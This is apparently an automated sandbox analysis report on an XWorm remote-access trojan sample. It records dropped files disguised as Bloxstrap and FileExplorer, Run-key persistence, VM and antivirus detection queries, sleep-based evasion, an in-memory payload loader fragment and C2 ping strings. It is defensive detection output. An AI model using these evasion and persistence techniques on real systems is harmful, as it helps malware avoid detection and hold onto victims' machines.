Source: FileExplorer.exe.2.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: XClient.exe.0.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: XClient.exe.0.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: XClient.exe.0.dr, Messages.cs	.Net Code: Memory
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, Messages.cs	.Net Code: Memory
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, Messages.cs	.Net Code: Memory
Source: FileExplorer.exe.2.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: FileExplorer.exe.2.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: FileExplorer.exe.2.dr, Messages.cs	.Net Code: Memory

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

Code function: 1_2_00007FF72E6AF4A0 LoadLibraryA,GetProcAddress,_invalid_parameter_noinfo_noreturn,

1_2_00007FF72E6AF4A0

Source: Bloxstrap-v2.8.1.exe.0.dr

Static PE information: section name: _RDATA

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\d109d188-88be-4347-b0fe-3dec135859cb.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	File created: C:\Users\user\AppData\Roaming\XClient.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\XClient.exe	File created: C:\Users\user\AppData\Roaming\FileExplorer.exe	Jump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\Downloads\Unconfirmed 798106.crdownload	Jump to dropped file
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	File created: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Jump to dropped file

Source: C:\Users\user\AppData\Roaming\XClient.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run FileExplorer			Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run FileExplorer			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

Code function: 1_2_00007FF72E6B3710 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00007FF72E6B3710

Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Memory allocated: FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Memory allocated: 1AD70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1A150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Memory allocated: D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Memory allocated: 1AAC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Memory allocated: 2C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Memory allocated: 1AE90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Roaming\XClient.exe	Window / User API: threadDelayed 3779			Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Window / User API: threadDelayed 6053			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

API coverage: 9.3 %

Source: C:\Users\user\Desktop\CZxDiTktSY.exe TID: 7036	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 7800	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 7800	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 7804	Thread sleep count: 3779 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 7804	Thread sleep count: 6053 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe TID: 7908	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe TID: 5216	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

1_2_00007FF72E6AFBA0

Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Bloxstrap-v2.8.1.exe, 00000001.00000003.1744682195.000001CDA4C28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: XClient.exe, 00000002.00000002.4406206365.000000000054F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllutf
Source: Bloxstrap-v2.8.1.exe, 00000001.00000003.1744682195.000001CDA4C28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

Code function: 1_2_00007FF72E6B4510 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00007FF72E6B4510

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

Code function: 1_2_00007FF72E6AF4A0 LoadLibraryA,GetProcAddress,_invalid_parameter_noinfo_noreturn,

1_2_00007FF72E6AF4A0

Source: C:\Users\user\AppData\Roaming\XClient.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Code function: 1_2_00007FF72E6B4510 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF72E6B4510
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Code function: 1_2_00007FF72E6B41C0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF72E6B41C0
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Code function: 1_2_00007FF72E6B46B8 SetUnhandledExceptionFilter,	1_2_00007FF72E6B46B8

Source: C:\Users\user\Desktop\CZxDiTktSY.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process created: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe "C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Process created: C:\Users\user\AppData\Roaming\XClient.exe "C:\Users\user\AppData\Roaming\XClient.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=x64&rid=win10-x64&apphost_version=6.0.35&gui=true	Jump to behavior

Source: XClient.exe, 00000002.00000002.4407903972.0000000002665000.00000004.00000800.00020000.00000000.sdmp, XClient.exe, 00000002.00000002.4407903972.000000000225D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: XClient.exe, 00000002.00000002.4407903972.0000000002665000.00000004.00000800.00020000.00000000.sdmp, XClient.exe, 00000002.00000002.4407903972.000000000225D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: XClient.exe, 00000002.00000002.4407903972.0000000002665000.00000004.00000800.00020000.00000000.sdmp, XClient.exe, 00000002.00000002.4407903972.000000000225D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: XClient.exe, 00000002.00000002.4407903972.0000000002665000.00000004.00000800.00020000.00000000.sdmp, XClient.exe, 00000002.00000002.4407903972.000000000225D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0@
Source: XClient.exe, 00000002.00000002.4407903972.0000000002665000.00000004.00000800.00020000.00000000.sdmp, XClient.exe, 00000002.00000002.4407903972.000000000225D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager2

Source: C:\Users\user\Desktop\CZxDiTktSY.exe	Queries volume information: C:\Users\user\Desktop\CZxDiTktSY.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Queries volume information: C:\Users\user\AppData\Roaming\XClient.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Queries volume information: C:\Users\user\AppData\Roaming\FileExplorer.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FileExplorer.exe	Queries volume information: C:\Users\user\AppData\Roaming\FileExplorer.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Bloxstrap-v2.8.1.exe

Code function: 1_2_00007FF72E6B472C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_00007FF72E6B472C

Source: C:\Users\user\Desktop\CZxDiTktSY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: XClient.exe, 00000002.00000002.4406206365.00000000004FA000.00000004.00000020.00020000.00000000.sdmp, XClient.exe, 00000002.00000002.4414875282.000000001B130000.00000004.00000020.00020000.00000000.sdmp, XClient.exe, 00000002.00000002.4406206365.000000000054F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 0.2.CZxDiTktSY.exe.2d938a8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.XClient.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CZxDiTktSY.exe.2d8b268.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CZxDiTktSY.exe.2d8b268.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1704735361.0000000000042000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1713270331.0000000002D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CZxDiTktSY.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XClient.exe PID: 6188, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\FileExplorer.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 0.2.CZxDiTktSY.exe.2d938a8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.XClient.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CZxDiTktSY.exe.2d938a8.1.raw.unpack, type: UNPACKEDPE
